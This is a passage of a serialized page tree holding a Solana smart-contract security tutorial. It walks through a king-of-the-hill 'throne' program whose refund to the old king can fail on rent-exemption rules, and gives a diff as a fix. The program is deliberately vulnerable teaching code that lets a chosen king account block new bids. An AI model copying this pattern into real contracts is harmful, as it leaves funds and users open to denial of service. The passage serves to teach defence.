king\n",{"type":22,"tag":264,"props":73221,"children":73222},{"class":1534,"line":10512},[73223,73227,73232,73236,73240,73244,73248,73252,73256,73260,73264,73268,73272,73277,73281,73285,73290],{"type":22,"tag":264,"props":73224,"children":73225},{"style":4293},[73226],{"type":27,"value":4365},{"type":22,"tag":264,"props":73228,"children":73229},{"style":1549},[73230],{"type":27,"value":73231}," to_reimburse",{"type":22,"tag":264,"props":73233,"children":73234},{"style":4309},[73235],{"type":27,"value":4312},{"type":22,"tag":264,"props":73237,"children":73238},{"style":1539},[73239],{"type":27,"value":4370},{"type":22,"tag":264,"props":73241,"children":73242},{"style":1549},[73243],{"type":27,"value":21587},{"type":22,"tag":264,"props":73245,"children":73246},{"style":4309},[73247],{"type":27,"value":210},{"type":22,"tag":264,"props":73249,"children":73250},{"style":1539},[73251],{"type":27,"value":15974},{"type":22,"tag":264,"props":73253,"children":73254},{"style":4309},[73255],{"type":27,"value":210},{"type":22,"tag":264,"props":73257,"children":73258},{"style":1539},[73259],{"type":27,"value":73075},{"type":22,"tag":264,"props":73261,"children":73262},{"style":4309},[73263],{"type":27,"value":210},{"type":22,"tag":264,"props":73265,"children":73266},{"style":1539},[73267],{"type":27,"value":73084},{"type":22,"tag":264,"props":73269,"children":73270},{"style":4309},[73271],{"type":27,"value":5865},{"type":22,"tag":264,"props":73273,"children":73274},{"style":4344},[73275],{"type":27,"value":73276}," 9500",{"type":22,"tag":264,"props":73278,"children":73279},{"style":1539},[73280],{"type":27,"value":4390},{"type":22,"tag":264,"props":73282,"children":73283},{"style":4309},[73284],{"type":27,"value":2891},{"type":22,"tag":264,"props":73286,"children":73287},{"style":4344},[73288],{"type":27,"value":73289}," 10000",{"type":22,"tag":264,"props":73291,"children":73292},{"style":1539},[73293],{"type":27,"value":4322},{"type":22,"tag":264,"props":73295,"children":73296},{"class":1534,"line":24810},[73297,73302],{"type":22,"tag":264,"props":73298,"children":73299},{"style":4401},[73300],{"type":27,"value":73301},"        transfer_from_pda",{"type":22,"tag":264,"props":73303,"children":73304},{"style":1539},[73305],{"type":27,"value":4767},{"type":22,"tag":264,"props":73307,"children":73308},{"class":1534,"line":24845},[73309,73313,73317,73321,73325,73329,73333,73337,73341],{"type":22,"tag":264,"props":73310,"children":73311},{"style":4309},[73312],{"type":27,"value":8978},{"type":22,"tag":264,"props":73314,"children":73315},{"style":1549},[73316],{"type":27,"value":21587},{"type":22,"tag":264,"props":73318,"children":73319},{"style":4309},[73320],{"type":27,"value":210},{"type":22,"tag":264,"props":73322,"children":73323},{"style":1539},[73324],{"type":27,"value":15974},{"type":22,"tag":264,"props":73326,"children":73327},{"style":4309},[73328],{"type":27,"value":210},{"type":22,"tag":264,"props":73330,"children":73331},{"style":1539},[73332],{"type":27,"value":73075},{"type":22,"tag":264,"props":73334,"children":73335},{"style":4309},[73336],{"type":27,"value":210},{"type":22,"tag":264,"props":73338,"children":73339},{"style":4401},[73340],{"type":27,"value":73172},{"type":22,"tag":264,"props":73342,"children":73343},{"style":1539},[73344],{"type":27,"value":4795},{"type":22,"tag":264,"props":73346,"children":73347},{"class":1534,"line":24853},[73348,73352,73356,73360,73364,73368],{"type":22,"tag":264,"props":73349,"children":73350},{"style":4309},[73351],{"type":27,"value":8978},{"type":22,"tag":264,"props":73353,"children":73354},{"style":1549},[73355],{"type":27,"value":21587},{"type":22,"tag":264,"props":73357,"children":73358},{"style":4309},[73359],{"type":27,"value":210},{"type":22,"tag":264,"props":73361,"children":73362},{"style":1539},[73363],{"type":27,"value":15974},{"type":22,"tag":264,"props":73365,"children":73366},{"style":4309},[73367],{"type":27,"value":210},{"type":22,"tag":264,"props":73369,"children":73370},{"style":1539},[73371],{"type":27,"value":73372},"old_king,\n",{"type":22,"tag":264,"props":73374,"children":73375},{"class":1534,"line":24861},[73376,73381],{"type":22,"tag":264,"props":73377,"children":73378},{"style":1549},[73379],{"type":27,"value":73380},"            to_reimburse",{"type":22,"tag":264,"props":73382,"children":73383},{"style":1539},[73384],{"type":27,"value":4812},{"type":22,"tag":264,"props":73386,"children":73387},{"class":1534,"line":24870},[73388,73392,73396],{"type":22,"tag":264,"props":73389,"children":73390},{"style":1539},[73391],{"type":27,"value":73196},{"type":22,"tag":264,"props":73393,"children":73394},{"style":4309},[73395],{"type":27,"value":4458},{"type":22,"tag":264,"props":73397,"children":73398},{"style":1539},[73399],{"type":27,"value":4322},{"type":22,"tag":264,"props":73401,"children":73402},{"class":1534,"line":24912},[73403],{"type":22,"tag":264,"props":73404,"children":73405},{"emptyLinePlaceholder":17},[73406],{"type":27,"value":4986},{"type":22,"tag":264,"props":73408,"children":73409},{"class":1534,"line":24945},[73410],{"type":22,"tag":264,"props":73411,"children":73412},{"style":4284},[73413],{"type":27,"value":73414},"        // Set new king\n",{"type":22,"tag":264,"props":73416,"children":73417},{"class":1534,"line":24953},[73418,73422,73426,73430,73434,73438,73442,73447,73451,73455,73459,73463,73467,73472,73476,73481],{"type":22,"tag":264,"props":73419,"children":73420},{"style":1549},[73421],{"type":27,"value":27498},{"type":22,"tag":264,"props":73423,"children":73424},{"style":4309},[73425],{"type":27,"value":210},{"type":22,"tag":264,"props":73427,"children":73428},{"style":1539},[73429],{"type":27,"value":15974},{"type":22,"tag":264,"props":73431,"children":73432},{"style":4309},[73433],{"type":27,"value":210},{"type":22,"tag":264,"props":73435,"children":73436},{"style":1539},[73437],{"type":27,"value":73075},{"type":22,"tag":264,"props":73439,"children":73440},{"style":4309},[73441],{"type":27,"value":210},{"type":22,"tag":264,"props":73443,"children":73444},{"style":1539},[73445],{"type":27,"value":73446},"king ",{"type":22,"tag":264,"props":73448,"children":73449},{"style":4309},[73450],{"type":27,"value":429},{"type":22,"tag":264,"props":73452,"children":73453},{"style":1549},[73454],{"type":27,"value":27155},{"type":22,"tag":264,"props":73456,"children":73457},{"style":4309},[73458],{"type":27,"value":210},{"type":22,"tag":264,"props":73460,"children":73461},{"style":1539},[73462],{"type":27,"value":15974},{"type":22,"tag":264,"props":73464,"children":73465},{"style":4309},[73466],{"type":27,"value":210},{"type":22,"tag":264,"props":73468,"children":73469},{"style":1539},[73470],{"type":27,"value":73471},"new_king",{"type":22,"tag":264,"props":73473,"children":73474},{"style":4309},[73475],{"type":27,"value":210},{"type":22,"tag":264,"props":73477,"children":73478},{"style":4401},[73479],{"type":27,"value":73480},"key",{"type":22,"tag":264,"props":73482,"children":73483},{"style":1539},[73484],{"type":27,"value":4977},{"type":22,"tag":264,"props":73486,"children":73487},{"class":1534,"line":24961},[73488,73492,73496,73500,73504,73508,73512,73516,73520,73525],{"type":22,"tag":264,"props":73489,"children":73490},{"style":1549},[73491],{"type":27,"value":27498},{"type":22,"tag":264,"props":73493,"children":73494},{"style":4309},[73495],{"type":27,"value":210},{"type":22,"tag":264,"props":73497,"children":73498},{"style":1539},[73499],{"type":27,"value":15974},{"type":22,"tag":264,"props":73501,"children":73502},{"style":4309},[73503],{"type":27,"value":210},{"type":22,"tag":264,"props":73505,"children":73506},{"style":1539},[73507],{"type":27,"value":73075},{"type":22,"tag":264,"props":73509,"children":73510},{"style":4309},[73511],{"type":27,"value":210},{"type":22,"tag":264,"props":73513,"children":73514},{"style":1539},[73515],{"type":27,"value":73084},{"type":22,"tag":264,"props":73517,"children":73518},{"style":4309},[73519],{"type":27,"value":429},{"type":22,"tag":264,"props":73521,"children":73522},{"style":1549},[73523],{"type":27,"value":73524}," bid_amount",{"type":22,"tag":264,"props":73526,"children":73527},{"style":1539},[73528],{"type":27,"value":4322},{"type":22,"tag":264,"props":73530,"children":73531},{"class":1534,"line":24970},[73532,73536,73540,73544,73548,73552,73556,73561,73565,73570,73574,73578,73582,73586,73591,73595,73599],{"type":22,"tag":264,"props":73533,"children":73534},{"style":1549},[73535],{"type":27,"value":27498},{"type":22,"tag":264,"props":73537,"children":73538},{"style":4309},[73539],{"type":27,"value":210},{"type":22,"tag":264,"props":73541,"children":73542},{"style":1539},[73543],{"type":27,"value":15974},{"type":22,"tag":264,"props":73545,"children":73546},{"style":4309},[73547],{"type":27,"value":210},{"type":22,"tag":264,"props":73549,"children":73550},{"style":1539},[73551],{"type":27,"value":73075},{"type":22,"tag":264,"props":73553,"children":73554},{"style":4309},[73555],{"type":27,"value":210},{"type":22,"tag":264,"props":73557,"children":73558},{"style":1539},[73559],{"type":27,"value":73560},"last_time ",{"type":22,"tag":264,"props":73562,"children":73563},{"style":4309},[73564],{"type":27,"value":429},{"type":22,"tag":264,"props":73566,"children":73567},{"style":4722},[73568],{"type":27,"value":73569}," Clock",{"type":22,"tag":264,"props":73571,"children":73572},{"style":4309},[73573],{"type":27,"value":4785},{"type":22,"tag":264,"props":73575,"children":73576},{"style":4401},[73577],{"type":27,"value":17652},{"type":22,"tag":264,"props":73579,"children":73580},{"style":1539},[73581],{"type":27,"value":15178},{"type":22,"tag":264,"props":73583,"children":73584},{"style":4309},[73585],{"type":27,"value":4435},{"type":22,"tag":264,"props":73587,"children":73588},{"style":1539},[73589],{"type":27,"value":73590},"unix_timestamp ",{"type":22,"tag":264,"props":73592,"children":73593},{"style":4293},[73594],{"type":27,"value":10137},{"type":22,"tag":264,"props":73596,"children":73597},{"style":4722},[73598],{"type":27,"value":7151},{"type":22,"tag":264,"props":73600,"children":73601},{"style":1539},[73602],{"type":27,"value":4322},{"type":22,"tag":264,"props":73604,"children":73605},{"class":1534,"line":25046},[73606],{"type":22,"tag":264,"props":73607,"children":73608},{"emptyLinePlaceholder":17},[73609],{"type":27,"value":4986},{"type":22,"tag":264,"props":73611,"children":73612},{"class":1534,"line":25079},[73613,73617],{"type":22,"tag":264,"props":73614,"children":73615},{"style":4722},[73616],{"type":27,"value":16111},{"type":22,"tag":264,"props":73618,"children":73619},{"style":1539},[73620],{"type":27,"value":15637},{"type":22,"tag":264,"props":73622,"children":73623},{"class":1534,"line":25087},[73624],{"type":22,"tag":264,"props":73625,"children":73626},{"style":1539},[73627],{"type":27,"value":1674},{"type":22,"tag":264,"props":73629,"children":73630},{"class":1534,"line":25095},[73631],{"type":22,"tag":264,"props":73632,"children":73633},{"style":1539},[73634],{"type":27,"value":1692},{"type":22,"tag":23,"props":73636,"children":73637},{},[73638],{"type":27,"value":73639},"Note this comment:",{"type":22,"tag":4226,"props":73641,"children":73642},{},[73643],{"type":22,"tag":23,"props":73644,"children":73645},{},[73646],{"type":27,"value":73647},"any writable account is allowed as a new king.",{"type":22,"tag":23,"props":73649,"children":73650},{},[73651],{"type":27,"value":73652},"...Is our assumption correct?",{"type":22,"tag":169,"props":73654,"children":73656},{"id":73655},"the-bugs-lurking-beneath",[73657],{"type":27,"value":73658},"The Bugs Lurking Beneath",{"type":22,"tag":181,"props":73660,"children":73662},{"id":73661},"bug-1-the-rent-exemption-trap",[73663],{"type":27,"value":73664},"Bug 1: The Rent-Exemption Trap",{"type":22,"tag":23,"props":73666,"children":73667},{},[73668,73670,73675],{"type":27,"value":73669},"On Solana, all accounts must maintain a ",{"type":22,"tag":242,"props":73671,"children":73672},{},[73673],{"type":27,"value":73674},"minimum balance",{"type":27,"value":73676}," of lamports to remain rent-exempt. Specifically, an account can be in one of two states:",{"type":22,"tag":17988,"props":73678,"children":73679},{},[73680,73695],{"type":22,"tag":1871,"props":73681,"children":73682},{},[73683,73688,73689],{"type":22,"tag":242,"props":73684,"children":73685},{},[73686],{"type":27,"value":73687},"Uninitialized",{"type":27,"value":1594},{"type":22,"tag":257,"props":73690,"children":73692},{"className":73691},[],[73693],{"type":27,"value":73694},"lamports = 0",{"type":22,"tag":1871,"props":73696,"children":73697},{},[73698,73703,73704],{"type":22,"tag":242,"props":73699,"children":73700},{},[73701],{"type":27,"value":73702},"Initialized",{"type":27,"value":1594},{"type":22,"tag":257,"props":73705,"children":73707},{"className":73706},[],[73708],{"type":27,"value":73709},"lamports >= rent-exempt threshold",{"type":22,"tag":23,"props":73711,"children":73712},{},[73713,73715,73720],{"type":27,"value":73714},"This rent model exists to prevent low-cost DoS attacks on validators. The key idea is that even an account with no data (i.e., zero-length data buffer) still consumes on-chain resources; specifically, ",{"type":22,"tag":242,"props":73716,"children":73717},{},[73718],{"type":27,"value":73719},"account metadata",{"type":27,"value":73721}," like its public key, owner, or lamport balance. That metadata must be stored persistently by validators, and that storage isn't free.",{"type":22,"tag":23,"props":73723,"children":73724},{},[73725,73727,73733],{"type":27,"value":73726},"So “persistent state” on Solana doesn’t just mean your program's data — it includes the base account structure itself. Even accounts with ",{"type":22,"tag":257,"props":73728,"children":73730},{"className":73729},[],[73731],{"type":27,"value":73732},"data.len() == 0",{"type":27,"value":73734}," must meet a minimum rent threshold to remain alive and avoid garbage collection by the runtime.",{"type":22,"tag":23,"props":73736,"children":73737},{},[73738,73740,73746],{"type":27,"value":73739},"This is enforced at the runtime level, and the relevant logic can be found ",{"type":22,"tag":69,"props":73741,"children":73744},{"href":73742,"rel":73743},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/svm-rent-collector/src/svm_rent_collector.rs#L117-L136",[73],[73745],{"type":27,"value":48904},{"type":27,"value":210},{"type":22,"tag":618,"props":73748,"children":73750},{"className":4274,"code":73749,"language":4273,"meta":7,"style":7},"    fn transition_allowed(&self, pre_rent_state: &RentState, post_rent_state: &RentState) -> bool {\n        match post_rent_state {\n            RentState::Uninitialized | RentState::RentExempt => true,\n            RentState::RentPaying {\n                data_size: post_data_size,\n                lamports: post_lamports,\n            } => {\n                match pre_rent_state {\n                    RentState::Uninitialized | RentState::RentExempt => false,\n                    RentState::RentPaying {\n                        data_size: pre_data_size,\n                        lamports: pre_lamports,\n                    } => {\n                        // Cannot remain RentPaying if resized or credited.\n                        post_data_size == pre_data_size && post_lamports \u003C= pre_lamports\n                    }\n                }\n            }\n        }\n    }\n",[73751],{"type":22,"tag":257,"props":73752,"children":73753},{"__ignoreMap":7},[73754,73838,73855,73901,73921,73942,73963,73978,73995,74039,74058,74079,74100,74116,74124,74157,74164,74171,74178,74185],{"type":22,"tag":264,"props":73755,"children":73756},{"class":1534,"line":1535},[73757,73762,73767,73771,73775,73779,73783,73788,73792,73796,73801,73805,73810,73814,73818,73822,73826,73830,73834],{"type":22,"tag":264,"props":73758,"children":73759},{"style":4293},[73760],{"type":27,"value":73761},"    fn",{"type":22,"tag":264,"props":73763,"children":73764},{"style":4401},[73765],{"type":27,"value":73766}," transition_allowed",{"type":22,"tag":264,"props":73768,"children":73769},{"style":1539},[73770],{"type":27,"value":2660},{"type":22,"tag":264,"props":73772,"children":73773},{"style":4309},[73774],{"type":27,"value":4413},{"type":22,"tag":264,"props":73776,"children":73777},{"style":4293},[73778],{"type":27,"value":15012},{"type":22,"tag":264,"props":73780,"children":73781},{"style":1539},[73782],{"type":27,"value":4380},{"type":22,"tag":264,"props":73784,"children":73785},{"style":1549},[73786],{"type":27,"value":73787},"pre_rent_state",{"type":22,"tag":264,"props":73789,"children":73790},{"style":4309},[73791],{"type":27,"value":5785},{"type":22,"tag":264,"props":73793,"children":73794},{"style":4309},[73795],{"type":27,"value":8434},{"type":22,"tag":264,"props":73797,"children":73798},{"style":4722},[73799],{"type":27,"value":73800},"RentState",{"type":22,"tag":264,"props":73802,"children":73803},{"style":1539},[73804],{"type":27,"value":4380},{"type":22,"tag":264,"props":73806,"children":73807},{"style":1549},[73808],{"type":27,"value":73809},"post_rent_state",{"type":22,"tag":264,"props":73811,"children":73812},{"style":4309},[73813],{"type":27,"value":5785},{"type":22,"tag":264,"props":73815,"children":73816},{"style":4309},[73817],{"type":27,"value":8434},{"type":22,"tag":264,"props":73819,"children":73820},{"style":4722},[73821],{"type":27,"value":73800},{"type":22,"tag":264,"props":73823,"children":73824},{"style":1539},[73825],{"type":27,"value":4390},{"type":22,"tag":264,"props":73827,"children":73828},{"style":4309},[73829],{"type":27,"value":15056},{"type":22,"tag":264,"props":73831,"children":73832},{"style":4722},[73833],{"type":27,"value":13349},{"type":22,"tag":264,"props":73835,"children":73836},{"style":1539},[73837],{"type":27,"value":4594},{"type":22,"tag":264,"props":73839,"children":73840},{"class":1534,"line":1545},[73841,73846,73851],{"type":22,"tag":264,"props":73842,"children":73843},{"style":4328},[73844],{"type":27,"value":73845},"        match",{"type":22,"tag":264,"props":73847,"children":73848},{"style":1549},[73849],{"type":27,"value":73850}," post_rent_state",{"type":22,"tag":264,"props":73852,"children":73853},{"style":1539},[73854],{"type":27,"value":4594},{"type":22,"tag":264,"props":73856,"children":73857},{"class":1534,"line":1560},[73858,73863,73867,73871,73875,73880,73884,73889,73893,73897],{"type":22,"tag":264,"props":73859,"children":73860},{"style":4722},[73861],{"type":27,"value":73862},"            RentState",{"type":22,"tag":264,"props":73864,"children":73865},{"style":4309},[73866],{"type":27,"value":4785},{"type":22,"tag":264,"props":73868,"children":73869},{"style":4722},[73870],{"type":27,"value":73687},{"type":22,"tag":264,"props":73872,"children":73873},{"style":4309},[73874],{"type":27,"value":5563},{"type":22,"tag":264,"props":73876,"children":73877},{"style":4722},[73878],{"type":27,"value":73879}," RentState",{"type":22,"tag":264,"props":73881,"children":73882},{"style":4309},[73883],{"type":27,"value":4785},{"type":22,"tag":264,"props":73885,"children":73886},{"style":4722},[73887],{"type":27,"value":73888},"RentExempt",{"type":22,"tag":264,"props":73890,"children":73891},{"style":4309},[73892],{"type":27,"value":29065},{"type":22,"tag":264,"props":73894,"children":73895},{"style":4293},[73896],{"type":27,"value":13768},{"type":22,"tag":264,"props":73898,"children":73899},{"style":1539},[73900],{"type":27,"value":4812},{"type":22,"tag":264,"props":73902,"children":73903},{"class":1534,"line":1569},[73904,73908,73912,73917],{"type":22,"tag":264,"props":73905,"children":73906},{"style":4722},[73907],{"type":27,"value":73862},{"type":22,"tag":264,"props":73909,"children":73910},{"style":4309},[73911],{"type":27,"value":4785},{"type":22,"tag":264,"props":73913,"children":73914},{"style":4722},[73915],{"type":27,"value":73916},"RentPaying",{"type":22,"tag":264,"props":73918,"children":73919},{"style":1539},[73920],{"type":27,"value":4594},{"type":22,"tag":264,"props":73922,"children":73923},{"class":1534,"line":1583},[73924,73929,73933,73938],{"type":22,"tag":264,"props":73925,"children":73926},{"style":1549},[73927],{"type":27,"value":73928},"                data_size",{"type":22,"tag":264,"props":73930,"children":73931},{"style":4309},[73932],{"type":27,"value":5785},{"type":22,"tag":264,"props":73934,"children":73935},{"style":1549},[73936],{"type":27,"value":73937}," post_data_size",{"type":22,"tag":264,"props":73939,"children":73940},{"style":1539},[73941],{"type":27,"value":4812},{"type":22,"tag":264,"props":73943,"children":73944},{"class":1534,"line":1603},[73945,73950,73954,73959],{"type":22,"tag":264,"props":73946,"children":73947},{"style":1549},[73948],{"type":27,"value":73949},"                lamports",{"type":22,"tag":264,"props":73951,"children":73952},{"style":4309},[73953],{"type":27,"value":5785},{"type":22,"tag":264,"props":73955,"children":73956},{"style":1549},[73957],{"type":27,"value":73958}," post_lamports",{"type":22,"tag":264,"props":73960,"children":73961},{"style":1539},[73962],{"type":27,"value":4812},{"type":22,"tag":264,"props":73964,"children":73965},{"class":1534,"line":1612},[73966,73970,73974],{"type":22,"tag":264,"props":73967,"children":73968},{"style":1539},[73969],{"type":27,"value":71918},{"type":22,"tag":264,"props":73971,"children":73972},{"style":4309},[73973],{"type":27,"value":16121},{"type":22,"tag":264,"props":73975,"children":73976},{"style":1539},[73977],{"type":27,"value":4594},{"type":22,"tag":264,"props":73979,"children":73980},{"class":1534,"line":1621},[73981,73986,73991],{"type":22,"tag":264,"props":73982,"children":73983},{"style":4328},[73984],{"type":27,"value":73985},"                match",{"type":22,"tag":264,"props":73987,"children":73988},{"style":1549},[73989],{"type":27,"value":73990}," pre_rent_state",{"type":22,"tag":264,"props":73992,"children":73993},{"style":1539},[73994],{"type":27,"value":4594},{"type":22,"tag":264,"props":73996,"children":73997},{"class":1534,"line":1629},[73998,74003,74007,74011,74015,74019,74023,74027,74031,74035],{"type":22,"tag":264,"props":73999,"children":74000},{"style":4722},[74001],{"type":27,"value":74002},"                    RentState",{"type":22,"tag":264,"props":74004,"children":74005},{"style":4309},[74006],{"type":27,"value":4785},{"type":22,"tag":264,"props":74008,"children":74009},{"style":4722},[74010],{"type":27,"value":73687},{"type":22,"tag":264,"props":74012,"children":74013},{"style":4309},[74014],{"type":27,"value":5563},{"type":22,"tag":264,"props":74016,"children":74017},{"style":4722},[74018],{"type":27,"value":73879},{"type":22,"tag":264,"props":74020,"children":74021},{"style":4309},[74022],{"type":27,"value":4785},{"type":22,"tag":264,"props":74024,"children":74025},{"style":4722},[74026],{"type":27,"value":73888},{"type":22,"tag":264,"props":74028,"children":74029},{"style":4309},[74030],{"type":27,"value":29065},{"type":22,"tag":264,"props":74032,"children":74033},{"style":4293},[74034],{"type":27,"value":10354},{"type":22,"tag":264,"props":74036,"children":74037},{"style":1539},[74038],{"type":27,"value":4812},{"type":22,"tag":264,"props":74040,"children":74041},{"class":1534,"line":1642},[74042,74046,74050,74054],{"type":22,"tag":264,"props":74043,"children":74044},{"style":4722},[74045],{"type":27,"value":74002},{"type":22,"tag":264,"props":74047,"children":74048},{"style":4309},[74049],{"type":27,"value":4785},{"type":22,"tag":264,"props":74051,"children":74052},{"style":4722},[74053],{"type":27,"value":73916},{"type":22,"tag":264,"props":74055,"children":74056},{"style":1539},[74057],{"type":27,"value":4594},{"type":22,"tag":264,"props":74059,"children":74060},{"class":1534,"line":1660},[74061,74066,74070,74075],{"type":22,"tag":264,"props":74062,"children":74063},{"style":1549},[74064],{"type":27,"value":74065},"                        data_size",{"type":22,"tag":264,"props":74067,"children":74068},{"style":4309},[74069],{"type":27,"value":5785},{"type":22,"tag":264,"props":74071,"children":74072},{"style":1549},[74073],{"type":27,"value":74074}," pre_data_size",{"type":22,"tag":264,"props":74076,"children":74077},{"style":1539},[74078],{"type":27,"value":4812},{"type":22,"tag":264,"props":74080,"children":74081},{"class":1534,"line":1668},[74082,74087,74091,74096],{"type":22,"tag":264,"props":74083,"children":74084},{"style":1549},[74085],{"type":27,"value":74086},"                        lamports",{"type":22,"tag":264,"props":74088,"children":74089},{"style":4309},[74090],{"type":27,"value":5785},{"type":22,"tag":264,"props":74092,"children":74093},{"style":1549},[74094],{"type":27,"value":74095}," pre_lamports",{"type":22,"tag":264,"props":74097,"children":74098},{"style":1539},[74099],{"type":27,"value":4812},{"type":22,"tag":264,"props":74101,"children":74102},{"class":1534,"line":1677},[74103,74108,74112],{"type":22,"tag":264,"props":74104,"children":74105},{"style":1539},[74106],{"type":27,"value":74107},"                    } ",{"type":22,"tag":264,"props":74109,"children":74110},{"style":4309},[74111],{"type":27,"value":16121},{"type":22,"tag":264,"props":74113,"children":74114},{"style":1539},[74115],{"type":27,"value":4594},{"type":22,"tag":264,"props":74117,"children":74118},{"class":1534,"line":1686},[74119],{"type":22,"tag":264,"props":74120,"children":74121},{"style":4284},[74122],{"type":27,"value":74123},"                        // Cannot remain RentPaying if resized or credited.\n",{"type":22,"tag":264,"props":74125,"children":74126},{"class":1534,"line":4948},[74127,74132,74136,74140,74144,74148,74152],{"type":22,"tag":264,"props":74128,"children":74129},{"style":1549},[74130],{"type":27,"value":74131},"                        post_data_size",{"type":22,"tag":264,"props":74133,"children":74134},{"style":4309},[74135],{"type":27,"value":4585},{"type":22,"tag":264,"props":74137,"children":74138},{"style":1549},[74139],{"type":27,"value":74074},{"type":22,"tag":264,"props":74141,"children":74142},{"style":4309},[74143],{"type":27,"value":15484},{"type":22,"tag":264,"props":74145,"children":74146},{"style":1549},[74147],{"type":27,"value":73958},{"type":22,"tag":264,"props":74149,"children":74150},{"style":4309},[74151],{"type":27,"value":9491},{"type":22,"tag":264,"props":74153,"children":74154},{"style":1549},[74155],{"type":27,"value":74156}," pre_lamports\n",{"type":22,"tag":264,"props":74158,"children":74159},{"class":1534,"line":4957},[74160],{"type":22,"tag":264,"props":74161,"children":74162},{"style":1539},[74163],{"type":27,"value":72387},{"type":22,"tag":264,"props":74165,"children":74166},{"class":1534,"line":4980},[74167],{"type":22,"tag":264,"props":74168,"children":74169},{"style":1539},[74170],{"type":27,"value":72395},{"type":22,"tag":264,"props":74172,"children":74173},{"class":1534,"line":4989},[74174],{"type":22,"tag":264,"props":74175,"children":74176},{"style":1539},[74177],{"type":27,"value":60206},{"type":22,"tag":264,"props":74179,"children":74180},{"class":1534,"line":4998},[74181],{"type":22,"tag":264,"props":74182,"children":74183},{"style":1539},[74184],{"type":27,"value":4651},{"type":22,"tag":264,"props":74186,"children":74187},{"class":1534,"line":5067},[74188],{"type":22,"tag":264,"props":74189,"children":74190},{"style":1539},[74191],{"type":27,"value":1674},{"type":22,"tag":23,"props":74193,"children":74194},{},[74195],{"type":27,"value":74196},"You can check the rent-exemption threshold for a zero-data account with the CLI:",{"type":22,"tag":618,"props":74198,"children":74200},{"className":5537,"code":74199,"language":5536,"meta":7,"style":7},"solana rent 0\nRent-exempt minimum: 0.00089088 SOL\n",[74201],{"type":22,"tag":257,"props":74202,"children":74203},{"__ignoreMap":7},[74204,74220],{"type":22,"tag":264,"props":74205,"children":74206},{"class":1534,"line":1535},[74207,74211,74216],{"type":22,"tag":264,"props":74208,"children":74209},{"style":4401},[74210],{"type":27,"value":16},{"type":22,"tag":264,"props":74212,"children":74213},{"style":1597},[74214],{"type":27,"value":74215}," rent",{"type":22,"tag":264,"props":74217,"children":74218},{"style":4344},[74219],{"type":27,"value":25591},{"type":22,"tag":264,"props":74221,"children":74222},{"class":1534,"line":1545},[74223,74228,74233,74238],{"type":22,"tag":264,"props":74224,"children":74225},{"style":4401},[74226],{"type":27,"value":74227},"Rent-exempt",{"type":22,"tag":264,"props":74229,"children":74230},{"style":1597},[74231],{"type":27,"value":74232}," minimum:",{"type":22,"tag":264,"props":74234,"children":74235},{"style":4344},[74236],{"type":27,"value":74237}," 0.00089088",{"type":22,"tag":264,"props":74239,"children":74240},{"style":1597},[74241],{"type":27,"value":74242}," SOL\n",{"type":22,"tag":20197,"props":74244,"children":74246},{"id":74245},"fix-1-only-reimburse-if-rent-exempt",[74247],{"type":27,"value":74248},"Fix 1: Only Reimburse if Rent-Exempt",{"type":22,"tag":23,"props":74250,"children":74251},{},[74252],{"type":27,"value":74253},"We don't want to donate anything to an unfair king! So let's update our program to reimburse only if the old king will be rent-exempt after the transfer:",{"type":22,"tag":618,"props":74255,"children":74257},{"className":41675,"code":74256,"language":41677,"meta":7,"style":7},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n+let rent = Rent::get()?;\n+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n    transfer_from_pda(\n        &ctx.accounts.throne.to_account_info(),\n        &ctx.accounts.old_king,\n        to_reimburse,\n    )?;\n+}\n",[74258],{"type":22,"tag":257,"props":74259,"children":74260},{"__ignoreMap":7},[74261,74269,74277,74285,74293,74301,74309,74317,74325,74333],{"type":22,"tag":264,"props":74262,"children":74263},{"class":1534,"line":1535},[74264],{"type":22,"tag":264,"props":74265,"children":74266},{"style":1539},[74267],{"type":27,"value":74268},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n",{"type":22,"tag":264,"props":74270,"children":74271},{"class":1534,"line":1545},[74272],{"type":22,"tag":264,"props":74273,"children":74274},{"style":4344},[74275],{"type":27,"value":74276},"+let rent = Rent::get()?;\n",{"type":22,"tag":264,"props":74278,"children":74279},{"class":1534,"line":1560},[74280],{"type":22,"tag":264,"props":74281,"children":74282},{"style":4344},[74283],{"type":27,"value":74284},"+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n",{"type":22,"tag":264,"props":74286,"children":74287},{"class":1534,"line":1569},[74288],{"type":22,"tag":264,"props":74289,"children":74290},{"style":4344},[74291],{"type":27,"value":74292},"+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n",{"type":22,"tag":264,"props":74294,"children":74295},{"class":1534,"line":1583},[74296],{"type":22,"tag":264,"props":74297,"children":74298},{"style":1539},[74299],{"type":27,"value":74300},"    transfer_from_pda(\n",{"type":22,"tag":264,"props":74302,"children":74303},{"class":1534,"line":1603},[74304],{"type":22,"tag":264,"props":74305,"children":74306},{"style":1539},[74307],{"type":27,"value":74308},"        &ctx.accounts.throne.to_account_info(),\n",{"type":22,"tag":264,"props":74310,"children":74311},{"class":1534,"line":1612},[74312],{"type":22,"tag":264,"props":74313,"children":74314},{"style":1539},[74315],{"type":27,"value":74316},"        &ctx.accounts.old_king,\n",{"type":22,"tag":264,"props":74318,"children":74319},{"class":1534,"line":1621},[74320],{"type":22,"tag":264,"props":74321,"children":74322},{"style":1539},[74323],{"type":27,"value":74324},"        to_reimburse,\n",{"type":22,"tag":264,"props":74326,"children":74327},{"class":1534,"line":1629},[74328],{"type":22,"tag":264,"props":74329,"children":74330},{"style":1539},[74331],{"type":27,"value":74332},"    )?;\n",{"type":22,"tag":264,"props":74334,"children":74335},{"class":1534,"line":1642},[74336],{"type":22,"tag":264,"props":74337,"children":74338},{"style":4344},[74339],{"type":27,"value":74340},"+}\n",{"type":22,"tag":23,"props":74342,"children":74343},{},[74344],{"type":27,"value":74345},"But is rent-exemption the only thing that can cause a lamport transfer to fail? Not quite.",{"type":22,"tag":181,"props":74347,"children":74349},{"id":74348},"bug-2-writable-but-untouchable-set_lamports-fails",[74350,74352,74358],{"type":27,"value":74351},"Bug 2: Writable but Untouchable — ",{"type":22,"tag":257,"props":74353,"children":74355},{"className":74354},[],[74356],{"type":27,"value":74357},"set_lamports",{"type":27,"value":74359}," Fails",{"type":22,"tag":23,"props":74361,"children":74362},{},[74363,74365,74372],{"type":27,"value":74364},"Let's look at 